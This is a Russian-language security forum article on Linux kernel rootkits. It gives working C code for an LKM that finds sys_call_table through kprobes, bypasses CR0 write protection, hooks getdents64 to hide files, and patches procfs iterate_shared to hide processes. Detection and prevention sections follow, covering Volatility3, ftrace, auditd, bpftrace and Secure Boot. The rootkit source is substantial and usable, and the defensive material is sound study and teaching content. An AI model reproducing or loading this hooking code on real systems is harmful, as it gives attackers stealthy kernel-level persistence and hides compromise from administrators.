Статья Kernel Rootkit Linux: перехват syscall table, модификация VFS и сокрытие процессов — от кода до детектирования

Разобранная клавиатура ноутбука на тёмном металле, снятые клавиши в сетке. Диагностический экран светится зелёным текстом, рядом Raspberry Pi с GPIO-пинами в тени.


Загрузили вредоносный модуль ядра в ring 0 - и всё, между вами и железом пусто. SELinux, AppArmor, антивирус в userland - всё это работает этажом выше и тупо не видит, что творится внутри ядра. Kernel rootkit на Linux - один из самых опасных инструментов в арсенале атакующего, и одновременно одна из самых недооценённых угроз в русскоязычном сообществе. Мало кто копает эту тему на уровне кода, а зря.

Здесь разберу три ключевые техники LKM-руткитов: перехват syscall table, модификацию VFS для сокрытия файлов и манипуляции с процессами через DKOM. Каждый блок - рабочий код на C, объяснение «почему именно так», а рядом взгляд с позиции защитника: что оставляет артефакты, что видит Volatility и где rkhunter бессилен.

Зачем пентестеру разбираться в руткитах ядра​

В red team-операциях kernel rootkit linux - инструмент последней мили. Вы уже получили root, закрепились в системе, и теперь задача - остаться незамеченным максимально долго. Userland-руткиты через LD_PRELOAD обнаруживаются тривиально - достаточно мониторить /etc/ld.so.preload и переменные окружения. А вот LKM-руткит, сидящий в kernel space, перехватывает системные вызовы до того, как информация дойдёт до любого инструмента в userland. Разница - как между подслушиванием за дверью и контролем самого коммутатора.

По классификации MITRE ATT&CK руткиты ядра покрывают сразу несколько тактик:
  • - основная функция: сокрытие следов
  • T1547.006 (Persistence / Privilege Escalation) - доставка через загрузку модуля
  • T1574 (Persistence / Privilege Escalation / Defense Evasion) - перехват потока выполнения. Для userland это LD_PRELOAD, DLL side-loading и прочее, а kernel-level hooking (syscall table, VFS) точнее всего покрывается T1014. Историческая справка: техника T1179 Hooking отозвана в ATT&CK v8 (октябрь 2020) и частично поглощена T1574 и T1056 (Input Capture), но kernel-level hooking в T1574 явно не описан
По данным Elastic Security Labs, даже тривиальная модификация бинарника руткита - добавление одного нулевого байта - значительно роняет процент обнаружения статическими сигнатурами на VirusTotal. Полагаться на файловые индикаторы нельзя: единственный надёжный сигнал - поведение руткита в runtime.

Подготовка лабораторной среды​

Прежде чем лезть в код - настройте безопасную среду. Никогда не грузите экспериментальные модули ядра на хостовую машину. Лично я для таких вещей держу отдельную QEMU-виртуалку без сетевого моста.
Bash:
# Создание виртуальной машины через QEMU/KVM
qemu-system-x86_64 \
  -kernel /path/to/bzImage \
  -append "console=ttyS0 root=/dev/sda nokaslr" \
  -hda /path/to/rootfs.img \
  -m 2048 \
  -nographic \
  -s -S  # GDB stub для отладки ядра
Флаг nokaslr отключает рандомизацию адресного пространства ядра - упрощает отладку. -s -S поднимают GDB-сервер на порту 1234 и останавливают CPU до подключения отладчика. В продакшене KASLR, разумеется, включён, и для атакующего это отдельная головная боль.

Для компиляции модулей - заголовки ядра целевой версии:
Bash:
apt install linux-headers-$(uname -r) build-essential

Перехват syscall table Linux: классическая техника​

Перехват syscall table - фундаментальная техника linux lkm rootkit, описанная ещё в Phrack Magazine. Идея до безобразия проста: ядро хранит массив указателей на функции-обработчики системных вызовов. Подменил указатель - и каждый вызов getdents64 или kill идёт через твой код.

Поиск адреса sys_call_table​

Начиная с ядра 5.7, [URL='https://www.kernel.org/doc/html/latest/core-api/kernel-api.html']kallsyms_lookup_name[/URL] больше не экспортируется для модулей. Разработчики ядра сделали это специально - чтобы усложнить жизнь авторам руткитов. Ирония в том, что обходной путь через kprobes работает не хуже:
C:
#include <linux/kprobes.h>

static unsigned long *sys_call_table;

static unsigned long lookup_name(const char *name)
{
    struct kprobe kp = {
        .symbol_name = name
    };
    unsigned long addr;
  
    if (register_kprobe(&kp) < 0)
        return 0;
    addr = (unsigned long)kp.addr;
    unregister_kprobe(&kp);
    return addr;
}

/* В init-функции модуля: */
sys_call_table = (unsigned long *)lookup_name("sys_call_table");
Kprobe регистрируется на символ, ядро резолвит адрес, после чего проба немедленно снимается. Работает на ядрах 5.7+ и до актуальных 6.x. На ядрах до 5.7 можно дёргать kallsyms_lookup_name напрямую.

Обход write-protection через CR0​

Таблица системных вызовов лежит в read-only секции памяти. Регистр CR0 содержит бит WP (Write Protect) - пока он установлен, запись в read-only страницы вызовет page fault. Классический приём - временно сбросить этот бит:
C:
static inline void cr0_write_unlock(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);  /* Бит 16 = WP */
    write_cr0(cr0);
}

static inline void cr0_write_lock(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}
На ядрах 5.3+ прямой вызов write_cr0 с изменённым WP натыкается на pinned-CR0 защиту: ядро проверяет, что критические биты не трогали, и может уронить всё в kernel panic. Надёжнее - писать напрямую в MSR через inline assembly:
C:
static inline void write_cr0_forced(unsigned long val)
{
    asm volatile("mov %0, %%cr0" : "+r"(val) : : "memory");
}
Этот вариант обходит проверку native_write_cr0 - мы не вызываем обёртку ядра, а пишем непосредственно в регистр. Но на системах с аппаратной виртуализацией (KVM/Xen) гипервизор может перехватить запись в CR0 через VMCS CR0 guest/host mask, и приём перестанет работать. Альтернатива - set_memory_rw()/set_memory_ro() для изменения атрибутов конкретных страниц через page table, без затрагивания CR0.

Подмена обработчика getdents64​

Для сокрытия файлов и процессов перехватывается getdents64 - системный вызов, который используют ls, ps и вообще всё, что читает содержимое директорий:
C:
#include <linux/dirent.h>

/* Тип оригинального обработчика */
typedef asmlinkage long (*orig_getdents64_t)(
    const struct pt_regs *regs);

static orig_getdents64_t orig_getdents64;

/* Префикс для скрываемых файлов */
#define HIDE_PREFIX "rootkit_"

asmlinkage long hooked_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent;
    struct linux_dirent64 *current_dir, *prev_dir = NULL;
    struct linux_dirent64 *kdirent;
    long ret;
    unsigned long offset = 0;

    /* Вызываем оригинальный обработчик */
    ret = orig_getdents64(regs);
    if (ret <= 0)
        return ret;

    /* regs->si == rsi на x86_64; в ядрах 6.1+ поле может называться иначе -
       проверьте arch/x86/include/asm/ptrace.h для вашей версии */
    dirent = (struct linux_dirent64 __user *)regs->si;
  
    /* Копируем результат в kernel space для модификации */
    kdirent = kzalloc(ret, GFP_KERNEL);
    if (!kdirent)
        return ret;

    if (copy_from_user(kdirent, dirent, ret)) {
        kfree(kdirent);
        return ret;
    }

    /* Итерируем по записям, удаляя скрываемые */
    current_dir = kdirent;
    while (offset < ret) {
        if (strncmp(current_dir->d_name, HIDE_PREFIX,
                     strlen(HIDE_PREFIX)) == 0) {
            /* Сдвигаем оставшиеся записи поверх текущей */
            long reclen = current_dir->d_reclen;
            memmove(current_dir,
                    (char *)current_dir + reclen,
                    ret - offset - reclen);
            ret -= reclen;
            continue;
        }
        offset += current_dir->d_reclen;
        prev_dir = current_dir;
        current_dir = (void *)current_dir + current_dir->d_reclen;
    }

    if (copy_to_user(dirent, kdirent, ret)) {
        kfree(kdirent);
        return ret; /* fallback: оригинальный результат уже в userspace от первого вызова */
    }
    kfree(kdirent);
    return ret;
}
Установка хука - в module_init:
C:
static int __init rootkit_init(void)
{
    sys_call_table = (unsigned long *)lookup_name("sys_call_table");
    if (!sys_call_table)
        return -ENXIO;

    orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];

    write_cr0_forced(read_cr0() & ~0x10000);
    sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
    write_cr0_forced(read_cr0() | 0x10000);

    return 0;
}
После загрузки модуля любой файл с префиксом rootkit_ исчезает из вывода ls, find и вообще чего угодно, что дёргает getdents64. ps тоже использует этот вызов при чтении /proc, так что тем же механизмом прячутся и процессы - достаточно фильтровать записи в /proc по PID.

Детектирование перехвата syscall table​

С позиции синей команды перехват syscall table оставляет чёткий артефакт: адрес обработчика указывает за пределы текстового сегмента ядра, куда-то в регион памяти загруженного модуля. Грубо говоря - адрес «не оттуда».
Bash:
# Сравниваем адреса обработчиков с диапазоном ядра
cat /proc/kallsyms | grep sys_call_table
# Адреса должны лежать в диапазоне _stext .. _etext
cat /proc/kallsyms | grep -E "^[0-9a-f]+ T _stext"
cat /proc/kallsyms | grep -E "^[0-9a-f]+ T _etext"
Volatility3 с Linux-профилем проверяет целостность таблицы:
Bash:
# Проверка syscall table через volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
Плагин linux.check_syscall сравнивает каждый адрес в sys_call_table с известными символами ядра. Адрес указывает на неизвестный регион - явный индикатор компрометации.

А вот rkhunter и chkrootkit работают из userland и полагаются на сигнатуры известных руткитов. Целостность syscall table в реальном времени они не проверяют. Кастомный руткит пройдёт мимо них без единого алерта.

Модификация VFS Linux: хуки на уровне файловой системы​

Альтернатива грубой подмене syscall table - перехват на уровне Virtual File System. Это элегантнее и куда сложнее для детектирования: адреса в syscall table остаются чистыми.

Перехват iterate_shared в VFS​

Когда userland-процесс вызывает getdents64, ядро в итоге дёргает метод iterate_shared из структуры file_operations конкретной файловой системы. У каждой ФС (ext4, procfs, tmpfs) - своя реализация. Руткит подменяет указатель iterate_shared в file_operations для /proc:
C:
#include <linux/fs.h>
#include <linux/proc_fs.h>

static struct file_operations *proc_fops;
static int (*orig_iterate_shared)(struct file *, struct dir_context *);

/* Наш filldir-фильтр */
/* Обёрточная структура для per-call хранения оригинального actor,
   чтобы избежать race condition при параллельных вызовах. */
struct my_dir_context {
    struct dir_context ctx;
    filldir_t real_actor;
};

/* Тип возврата filldir_t: bool на ядрах 6.x, int на ядрах до ~5.18.
   Семантика: на 6.x true=continue, false=stop;
   на <5.18 0=continue, non-zero=stop. Код ниже для ядер 6.x. */
static bool my_filldir(struct dir_context *ctx, const char *name,
                        int namelen, loff_t offset,
                        u64 ino, unsigned int d_type)
{
    /* Извлекаем оригинальный actor из обёрточной структуры */
    struct my_dir_context *my_ctx =
        container_of(ctx, struct my_dir_context, ctx);
  
    /* Скрываем процесс по PID - возвращаем true (continue),
       НЕ вызывая оригинальный filldir, чтобы запись не попала в буфер.
       Для ядер <5.18 (int): вернуть 0 вместо true. */
    if (is_hidden_pid(name))
        return true;  /* Пропускаем запись, продолжаем итерацию */
  
    /* Вызываем оригинальный filldir - per-call, без race condition */
    return my_ctx->real_actor(ctx, name, namelen, offset, ino, d_type);
}

static int hooked_iterate_shared(struct file *file,
                                  struct dir_context *ctx)
{
    /* Per-call обёртка: сохраняем оригинальный actor без race condition */
    struct my_dir_context my_ctx = {
        .ctx.actor = my_filldir,
        .ctx.pos   = ctx->pos,
        .real_actor = ctx->actor,
    };
  
    int ret = orig_iterate_shared(file, &my_ctx.ctx);
  
    /* Синхронизируем позицию обратно в оригинальный ctx */
    ctx->pos = my_ctx.ctx.pos;
    return ret;
}
Получение указателя на file_operations для /proc:
C:
static void hook_proc_fops(void)
{
    struct file *proc_filp;
  
    proc_filp = filp_open("/proc", O_RDONLY, 0);
    if (IS_ERR(proc_filp))
        return;
  
    proc_fops = (struct file_operations *)proc_filp->f_op;
    orig_iterate_shared = proc_fops->iterate_shared;
  
    /* proc_root_operations объявлена как const и лежит в .rodata -
       прямая запись вызовет page fault. Используем set_memory_rw()
       для модификации оригинальной структуры in-place. */
    {
        unsigned long fops_addr = (unsigned long)proc_fops;
        unsigned long aligned = fops_addr & PAGE_MASK;
        /* Снимаем RO-защиту со страницы, содержащей file_operations */
        set_memory_rw(aligned, 1);
        /* Подменяем iterate_shared в оригинальной структуре -
           это глобальный эффект для всех open("/proc") */
        ((struct file_operations *)proc_fops)->iterate_shared =
            hooked_iterate_shared;
        set_memory_ro(aligned, 1);
    }
  
    filp_close(proc_filp, NULL);
}
Ключевое преимущество: syscall table остаётся чистой, и плагины вроде linux.check_syscall в Volatility аномалий не увидят. Детектировать VFS-хуки на порядок сложнее.

Детектирование модификации VFS​

Для обнаружения VFS-хуков нужно проверять указатели в file_operations конкретных файловых систем:
Bash:
# Volatility3: проверка модулей, которые могли подменить fops
vol3 -f memory.dump linux.check_modules.Check_modules
Сравнение адресов iterate_shared для procfs, sysfs, ext4 с диапазоном легитимных модулей ядра позволяет выявить подмену. Адрес указывает в регион загруженного LKM, который не является стандартным драйвером файловой системы - аномалия.

На живой системе помогает ftrace:
Bash:
# Трассировка вызовов iterate_shared
echo 'iterate_shared' > /sys/kernel/tracing/set_ftrace_filter
echo function > /sys/kernel/tracing/current_tracer
cat /sys/kernel/tracing/trace_pipe
Если при чтении /proc в трассировке всплывает вызов из неизвестного модуля - прямой индикатор VFS-хука.

Сокрытие процессов Linux kernel через DKOM​

🔓 Эксклюзивный контент для зарегистрированных пользователей.

Анализ реальных руткитов: Diamorphine и Reptile​

Посмотрим, как описанные техники работают в живых проектах, которые упоминаются в исследованиях Elastic Security Labs и Wiz.

Diamorphine​

Diamorphine - один из самых известных open-source LKM-руткитов, функциональный на ядрах от 2.6 до 6.x. Его архитектура:

КомпонентТехникаАртефакты
Сокрытие файловПерехват getdents/getdents64Аномалия в syscall table
Сокрытие процессовФильтрация по PID в hooked getdentsРасхождение pslist/psscan
Сокрытие модуляlist_del из modules listПамять модуля без записи в /proc/modules
УправлениеСигнал 63 (kill -63 PID)Нестандартные сигналы в аудит-логах
Повышение привилегийОбработка сигнала 64 для grant rootСмена credentials процесса

Diamorphine использует syscall table hooking через kprobes на новых ядрах. Управление - через нестандартные сигналы: kill -63 <pid> делает процесс невидимым, kill -64 <pid> выдаёт root-shell. Элегантно и просто - никаких сетевых бэкдоров, всё через стандартный kill.

Reptile​

Reptile - руткит посерьёзнее, с полноценной бэкдор-функциональностью. Помимо стандартного набора (сокрытие файлов, процессов, модуля) он включает:
  • Перехват сетевого трафика для активации magic-пакетом
  • Встроенный reverse shell
  • Хуки на уровне VFS для procfs и sysfs
По , Reptile остаётся функциональным на многих дистрибутивах - «modern variant featuring backdoor capabilities». На одном из проектов я видел его модификацию с кастомным magic-пакетом на нестандартном протоколе. Обнаружили только через аномалию в memory dump.

Linux rootkit обнаружение: комплексная методология

Ни один инструмент не ловит все типы руткитов. Эффективное linux rootkit детектирование требует многоуровневого подхода - от быстрых проверок на живой системе до полноценного memory forensics.

Уровень 1: проверка целостности на живой системе​

Bash:
# rkhunter - сигнатурный анализ
rkhunter --check --skip-keypress

# chkrootkit - альтернативный сигнатурный сканер
chkrootkit -q

# Проверка tainted-флага ядра
cat /proc/sys/kernel/tainted
# Значение != 0 означает загрузку стороннего модуля
Ограничение: оба инструмента работают из userland. Если руткит перехватил системные вызовы, которыми пользуются эти утилиты, результат будет подделан. Тактика T1562.001 (Disable or Modify Tools, Defense Evasion) как раз про это.

Уровень 2: поведенческий анализ​

Bash:
# Проверка доступных функций для трассировки
cat /sys/kernel/tracing/available_filter_functions | wc -l
# Резкое изменение числа может указывать на фильтрацию

# Мониторинг загрузки модулей через auditd
auditctl -a always,exit -F arch=b64 -S init_module \
  -S finit_module -k kernel_module_load

# Поиск аномалий в dmesg
dmesg | grep -i "tainted\|module\|insmod"
При загрузке любого стороннего модуля ядро пишет сообщение в ring buffer (dmesg). Руткит может его вычистить, но если настроен rsyslog с отправкой на удалённый сервер - лог уже ушёл. Поэтому централизованный сбор логов - не роскошь, а необходимость.

Уровень 3: офлайн-анализ памяти​

Единственный по-настоящему надёжный метод - снять дамп памяти и анализировать вне скомпрометированной системы:
Bash:
# Снятие дампа через LiME (Linux Memory Extractor)
insmod lime.ko "path=/tmp/memory.dump format=lime"

# Анализ через Volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
vol3 -f memory.dump linux.check_modules.Check_modules
vol3 -f memory.dump linux.hidden_modules.Hidden_modules
vol3 -f memory.dump linux.tty_check.tty_check
Плагин linux.hidden_modules ищет именно те модули, которые удалили себя из /proc/modules через list_del, но остались в памяти. Покрывает описанную выше технику сокрытия модуля.

Уровень 4: eBPF-мониторинг в реальном времени​

Современный подход к linux rootkit защите - eBPF для мониторинга критических операций ядра в реальном времени:
Bash:
# Мониторинг загрузки модулей через bpftrace
bpftrace -e 'kprobe:do_init_module {
    printf("Module loaded: %s by PID %d (%s)\n",
           str(((struct module *)arg0)->name),
           pid, comm);
}'

# Мониторинг сокрытия модулей (list_del - inline, kprobe на неё невозможен)
bpftrace -e 'kprobe:kobject_del {
    printf("kobject_del called from %s (PID %d)\n", comm, pid);
}'
По данным Elastic Security Labs, eBPF-руткиты сами используют эту подсистему для атаки, но она же - мощный инструмент защиты. Условие одно: eBPF-программы мониторинга должны быть загружены до компрометации. Кто первый встал - того и тапки.

Практический чек-лист: пошаговая проверка системы​

Конкретная последовательность действий для проверки Linux-сервера на наличие kernel rootkit:

Шаг 1. Проверьте tainted-флаг ядра: cat /proc/sys/kernel/tainted. Ненулевое значение - повод копать дальше.

Шаг 2. Сравните список модулей из /proc/modules с выводом lsmod. Расхождения - аномалия.

Шаг 3. Проверьте syscall table через /proc/kallsyms: адреса обработчиков должны лежать в диапазоне _stext .. _etext.

Шаг 4. Запустите unhide-linux brute sys proc для поиска скрытых процессов.

Шаг 5. Снимите дамп памяти через LiME и проанализируйте офлайн через Volatility3 с плагинами check_syscall, hidden_modules, psscan.

Шаг 6. Проверьте аудит-логи на предмет вызовов init_module/finit_module - это единственные системные вызовы для загрузки модулей.

Защита от загрузки вредоносных модулей

Превентивные меры эффективнее обнаружения постфактум. Вот что реально работает:

МераЧто защищаетОграничения
Secure Boot + подпись модулейЗапрещает загрузку неподписанных LKMТребует инфраструктуры PKI
kernel.modules_disabled=1 (sysctl)Полностью блокирует загрузку модулейНельзя загрузить легитимные драйверы
SELinux/AppArmor в enforcingОграничивает CAP_SYS_MODULEСложная настройка политик
Seccomp-профили в контейнерахБлокирует init_module, finit_moduleТолько для контейнерных сред
Запрещает доступ к /dev/mem, kprobesДоступен с ядра 5.4+

Самая радикальная мера - компиляция ядра без поддержки загружаемых модулей (CONFIG_MODULES=n). Полностью закрывает вектор LKM-руткитов, но делает систему негибкой. На практике я видел такой подход на honeypot-серверах и в специализированных аплайнсах - там это оправдано.

Заключение​

Kernel rootkit linux - не академическая страшилка, а рабочий инструмент в таргетированных атаках на серверную инфраструктуру. Три техники - перехват syscall table, модификация VFS и DKOM - покрывают сокрытие файлов, процессов, сетевых соединений и самого руткита.

Для пентестера понимание этих техник на уровне кода нужно в двух направлениях: persistence в red team-сценариях и оценка того, насколько инфраструктура готова к такому уровню атаки. Для защитника - знание внутренностей руткитов объясняет, почему нельзя доверять userland-инструментам на скомпрометированной системе и почему memory forensics через Volatility3 остаётся единственным надёжным методом.

Ядро не лжёт - но руткит заставляет его лгать всем, кто спрашивает. Единственный способ увидеть правду - смотреть на память напрямую. Попробуйте собрать Diamorphine в лабораторной VM из раздела про подготовку среды, загрузить его и прогнать все шесть шагов чек-листа. Посмотрите, на каком шаге вы его поймаете - и на каких он пройдёт незамеченным.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab